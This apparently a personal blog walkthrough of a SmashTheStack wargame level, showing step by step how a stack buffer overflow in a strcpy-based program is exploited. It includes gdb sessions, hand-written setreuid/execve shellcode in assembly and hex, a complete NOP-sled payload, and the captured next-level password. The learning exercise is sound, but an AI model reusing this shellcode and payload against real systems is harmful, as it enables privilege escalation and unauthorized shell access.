Level 5 SmashTheStack Walkthrough

This level proved to be more challenging than the previous ones but it definitely taught me a lot and it felt very rewarding when I finally got the password file. It is essentially a memory corruption exercise, similar to level 3 but a bit more complicated. Again, we are given a binary and its corresponding source code. Let’s open up the source code and take a look at what we’re dealing with here.

#include
#include

int main(int argc, char **argv) {

	char buf[128];

	if(argc < 2) return 1;

	strcpy(buf, argv[1]);

	printf("%s\n", buf);

	return 0;
}

The first thing we notice is that we have another buffer declared and that the programmer was nice enough to use strcpy instead of strncpy, the latter of which requires you to specify the length of the string. Classic buffer overflow setup. Other suspect constructs to look for when code auditing for memory corruption include sprintf(), gets(), system(), strcat(), strcmp(), argv[], etc.
OK, now let’s disassemble it.

(gdb) disas main
Dump of assembler code for function main:
   0x080483b4 <+0>:	push   %ebp
   0x080483b5 <+1>:	mov    %esp,%ebp
   0x080483b7 <+3>:	sub    $0xa8,%esp
   0x080483bd <+9>:	and    $0xfffffff0,%esp
   0x080483c0 <+12>:	mov    $0x0,%eax
   0x080483c5 <+17>:	sub    %eax,%esp
   0x080483c7 <+19>:	cmpl   $0x1,0x8(%ebp)
   0x080483cb <+23>:	jg     0x80483d9 <main+37>
   0x080483cd <+25>:	movl   $0x1,-0x8c(%ebp)
   0x080483d7 <+35>:	jmp    0x8048413 <main+95>
   0x080483d9 <+37>:	mov    0xc(%ebp),%eax
   0x080483dc <+40>:	add    $0x4,%eax
   0x080483df <+43>:	mov    (%eax),%eax
   0x080483e1 <+45>:	mov    %eax,0x4(%esp)
   0x080483e5 <+49>:	lea    -0x88(%ebp),%eax
   0x080483eb <+55>:	mov    %eax,(%esp)
   0x080483ee <+58>:	call   0x80482d4 <strcpy@plt>
   0x080483f3 <+63>:	lea    -0x88(%ebp),%eax
   0x080483f9 <+69>:	mov    %eax,0x4(%esp)
   0x080483fd <+73>:	movl   $0x8048524,(%esp)
   0x08048404 <+80>:	call   0x80482b4 <printf@plt>
   0x08048409 <+85>:	movl   $0x0,-0x8c(%ebp)
   0x08048413 <+95>:	mov    -0x8c(%ebp),%eax
   0x08048419 <+101>:	leave
   0x0804841a <+102>:	ret
End of assembler dump.

After some trial and error we discover that inputting a string of length 140 breaks it.

(gdb) run `python -c 'print "A"*140'`
Starting program: /levels/level05 `python -c 'print "A"*140'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0xb7e9ee00 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6

OK. So we received a segmentation fault. What happened exactly?
Let’s take a look at the registers.

(gdb) info registers
eax            0x0	0
ecx            0xbffffb88	-1073742968
edx            0xb7fd3340	-1208143040
ebx            0xb7fd1ff4	-1208147980
esp            0xbffffc50	0xbffffc50
ebp            0x41414141	0x41414141
esi            0x0	0
edi            0x0	0
eip            0xb7e9ee00	0xb7e9ee00 <__libc_start_main+208>
eflags         0x10292	[ AF SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

Of course this would result in a segmentation fault because we have corrupted the saved frame pointer (EBP) and set it to an address we cannot access (0x41414141). Looking at the addresses stored in the registers we notice that they are all 4-byte dwords. I bet if we input a 144 byte long string it will completely overwrite the return address stored in the instruction pointer.

(gdb) b *main+63
Breakpoint 2 at 0x804841a
(gdb) run `python -c 'print "A"*144'`
Starting program: /levels/level05 `python -c 'print "A"*144'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/2x $ebp
0x41414141:	Cannot access memory at address 0x41414141

Yup. Just as we suspected. The program tries to jump to address 0x41414141 which likely doesn’t even exist.
So the distance between the start of the buffer and the start of the saved return address is 140 bytes.
But how does that help us?
It seems now that we must overwrite the return address (EIP) so that instead of pointing to the RET instruction at the end, it points to our NOP sled somewhere leading to some malicious shellcode we want to execute. In order to achieve this, we must create our own payload.
The formula for this payload will be as follows:

Level 5 Payload = NOP sled + Shellcode + New Return Address

Here is a crudely put together diagram I made quickly to help us visualize a little better:
<———lower memory addresses                                                                                      higher memory addresses——–>
[——————————————–NOP sled——————————————–][———–shellcode——-[old SFP]][new RA]

Keep this formula in mind as we continue!
For this walkthrough let’s split this up into 3 steps:
1) Generate the shellcode + determine its length
2) Determine the length of the NOP sled
3) Determine the addresses occupied by the NOP sled when EIP points to the return address

Let’s follow these steps  in order. So first let’s generate the shellcode we will use for our payload and find out its length.

1) Of course, we could just copy someone’s shellcode off an online repository like exploit-db or automate the process using metasploit, but for the purposes of this exercise I generated my own shellcode to learn the process and methodology behind it.
Before we begin, let’s keep in mind shellcode should be:
1. small enough to fit within the distance between the start of the retn addr and the start of the buffer
2. position independent (should not reference any absolute addresses)
3. not contain any NULL characters

In order to generate shellcode, we will first write the program in assembly, compile it, then extract the opcodes from the resulting object file.
This is the ASM program I came up with (please note my comments in the code):

  1 ;shellcode to change permissions and spawn shell
  2 section .text
  3
  4 global _start
  5
  6 _start:
  7 ;setreuid (uid_t ruid, uid_t euid)
  8 xor eax, eax ;clear eax register
  9 xor ebx, ebx ;clear ebx register
 10 xor ecx, ecx ;clear ecx register
 11 xor edx, edx ;clear edx register
 12 mov al, 70 ;set syscall number to 70 (setreuid)
 13 mov bx, 1006 ;set uid to 1006
 14 mov cx, 1006 ;set euid to 1006
 15 int 0x80 ;execute syscall
 16
 17 ;clears out registers
 18 xor eax, eax
 19 xor ebx, ebx
 20 xor ecx, ecx
 21 xor edx, edx
 22
 23 ;execve (const char *filename, char *const argv [], char *const envp[])
 24 mov al, 11 ;set syscall number to 11 (execve)
 25 jmp str_loc ;jump to str_loc
 26 str_loc_ret:
 27   pop ebx ;pop return addr to ebx register
 28   mov [ebx+7],cl ;null terminate string
 29   int 0x80 ;execute syscall
 30
 31 str_loc:
 32   call str_loc_ret ;call str_loc_ret
 33   db '/bin/shN' ;/bin/sh strn + N placeholder

We invoke the system call execve, passing in the argument /bin/sh in order to spawn the shell.
We also invoke system call setreuid to elevate our privileges so that we can cat the level 6 password file.
After each system call, we trigger a 0x80 interrupt in order to make the CPU enter kernel mode and process our request.

Because our shellcode must rely on relative addressing rather than use hardcoded addresses, we jump to the str_loc function which immediately calls the str_loc_ret function, thus setting the return address to the address of “/bin/shN” and pushing it onto the top of the stack since it is the next instruction that is supposed to be executed when the function returns. It will serve as our base address for the remainder of this program and now any absolute address is referenced as an offset of this base address. db is an 8 bit define byte which sets aside space in memory for a string. You can think of it as a global variable.

Once we have made this program, we must now extract the opcodes in order to put together our shellcode.

level5@io:/tmp/conceptofproof$ nasm -f elf level5shellcode.asm
level5@io:/tmp/conceptofproof$ objdump -d level5shellcode.o

level5shellcode.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	31 db                	xor    %ebx,%ebx
   4:	31 c9                	xor    %ecx,%ecx
   6:	31 d2                	xor    %edx,%edx
   8:	b0 46                	mov    $0x46,%al
   a:	66 bb ee 03          	mov    $0x3ee,%bx
   e:	66 b9 ee 03          	mov    $0x3ee,%cx
  12:	cd 80                	int    $0x80
  14:	31 c0                	xor    %eax,%eax
  16:	31 db                	xor    %ebx,%ebx
  18:	31 c9                	xor    %ecx,%ecx
  1a:	31 d2                	xor    %edx,%edx
  1c:	b0 0b                	mov    $0xb,%al
  1e:	eb 06                	jmp    26 <str_loc>

00000020 <str_loc_ret>:
  20:	5b                   	pop    %ebx
  21:	88 4b 07             	mov    %cl,0x7(%ebx)
  24:	cd 80                	int    $0x80

00000026 <str_loc>:
  26:	e8 f5 ff ff ff       	call   20 <str_loc_ret>
  2b:	2f                   	das
  2c:	62 69 6e             	bound  %ebp,0x6e(%ecx)
  2f:	2f                   	das
  30:	73 68                	jae    9a <str_loc+0x74>
  32:	4e                   	dec    %esi

Thus, this is the shellcode we will use:

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x66\xbb\xee\x03\x66\xb9\xee\x03\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\xeb\x06\x5b\x88\x4b\x07\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e

1 byte = 2 hex digits so this shellcode is 51 bytes long.

2) Now we must figure out how long our NOP sled has to be in order to make this exploit work. We have to make it just long enough that it doesn’t overwrite the return address in our payload. How do we determine this length? We actually already found this earlier when we first broke the program. Remember: the distance between the start of the buffer and the start of the saved return address is 140 bytes.

length of NOP sled + length of shellcode = 140 bytes
length of NOP sled = 140 bytes – length of shell code
length of NOP sled = 140 bytes – 51 bytes = 89 bytes, so our NOP sled must be 89 bytes long to fill the rest of the buffer space.

3) Now to complete our payload we have to figure out where the buffer starts.

(gdb) run `python -c 'print "\x90"*200'`
Starting program: /levels/level05 `python -c 'print "\x90"*200'`
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()

(gdb) x/200x $esp
0xbffffc20:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc30:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc40:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc50:	0x90909090	0x90909090	0x00000000	0x00000000
0xbffffc60:	0xbffffc98	0xaf338d69	0x83107b79	0x00000000
0xbffffc70:	0x00000000	0x00000000	0x00000002	0x080482f0
0xbffffc80:	0x00000000	0xb7ff59c0	0xb7e9ed3b	0xb7ffeff4
0xbffffc90:	0x00000002	0x080482f0	0x00000000	0x08048311
0xbffffca0:	0x080483b4	0x00000002	0xbffffcc4	0x08048470
0xbffffcb0:	0x08048420	0xb7ff0590	0xbffffcbc	0xb7fff908
0xbffffcc0:	0x00000002	0xbffffdc5	0xbffffdd5	0x00000000
0xbffffcd0:	0xbffffe9e	0xbffffeae	0xbffffeb9	0xbffffeda
0xbffffce0:	0xbffffeed	0xbffffef9	0xbfffff05	0xbfffff43
0xbffffcf0:	0xbfffff59	0xbfffff68	0xbfffff74	0xbfffff85
0xbffffd00:	0xbfffff8e	0xbfffffa0	0xbfffffa8	0xbfffffb7
0xbffffd10:	0x00000000	0x00000010	0xbfebfbff	0x00000006
0xbffffd20:	0x00001000	0x00000011	0x00000064	0x00000003
0xbffffd30:	0x08048034	0x00000004	0x00000020	0x00000005
0xbffffd40:	0x00000007	0x00000007	0xb7fe2000	0x00000008
0xbffffd50:	0x00000000	0x00000009	0x080482f0	0x0000000b
0xbffffd60:	0x000003ed	0x0000000c	0x000003ed	0x0000000d
0xbffffd70:	0x000003ed	0x0000000e	0x000003ed	0x00000017
0xbffffd80:	0x00000000	0x00000019	0xbffffdab	0x0000001f
0xbffffd90:	0xbfffffe8	0x0000000f	0xbffffdbb	0x00000000
0xbffffda0:	0x00000000	0x00000000	0x03000000	0xe657e9ed
0xbffffdb0:	0x2a0b2865	0xc308ccaf	0x69d6b786	0x00363836
0xbffffdc0:	0x00000000	0x656c2f00	0x736c6576	0x76656c2f
0xbffffdd0:	0x35306c65	0x90909000	0x90909090	0x90909090
0xbffffde0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffdf0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffe00:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffe10:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffe20:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffe30:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffe40:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffe50:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffe60:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffe70:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffe80:	0x90909090	0x90909090	0x90909090	0x90909090
---Type  to continue, or q  to quit---
0xbffffe90:	0x90909090	0x90909090	0x90909090	0x48530090

We can see here our NOP sled starts at 0xbffffdd4 and ends at 0xbffffe9C.
We can set our return address to be anywhere inside the NOP sled so let’s just pick 0xbffffe40.
Accounting for endianess, we denote this address as \x40\xfe\xff\xbf.

When we combine everything together, this is the result:

`python -c 'print "\x90"*89+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x66\xbb\xee\x03\x66\xb9\xee\x03\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\xeb\x06\x5b\x88\x4b\x07\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e"+"\x40\xfe\xff\xbf"'`

Finally! Time to test out our payload!

level5@io:/levels$ ./level05 `python -c 'print "\x90"*89+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x66\xbb\xee\x03\x66\xb9\xee\x03\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\xeb\x06\x5b\x88\x4b\x07\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e"+"\x40\xfe\xff\xbf"'`
�����������������������������������������������������������������������������������������1��F1�f��1�f��1�̀1�1�1�1Ұ
                                                                                                                   �[�K̀�����/bin/shN@���
level6@io:/levels$ id
uid=1006(level6) gid=1005(level5) groups=1006(level6),1005(level5),1029(nosu)
level6@io:/levels$ cat /home/level6/.pass
l1tbXUH2Q/Eotw

And there we have it! Sweet.

-JW

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s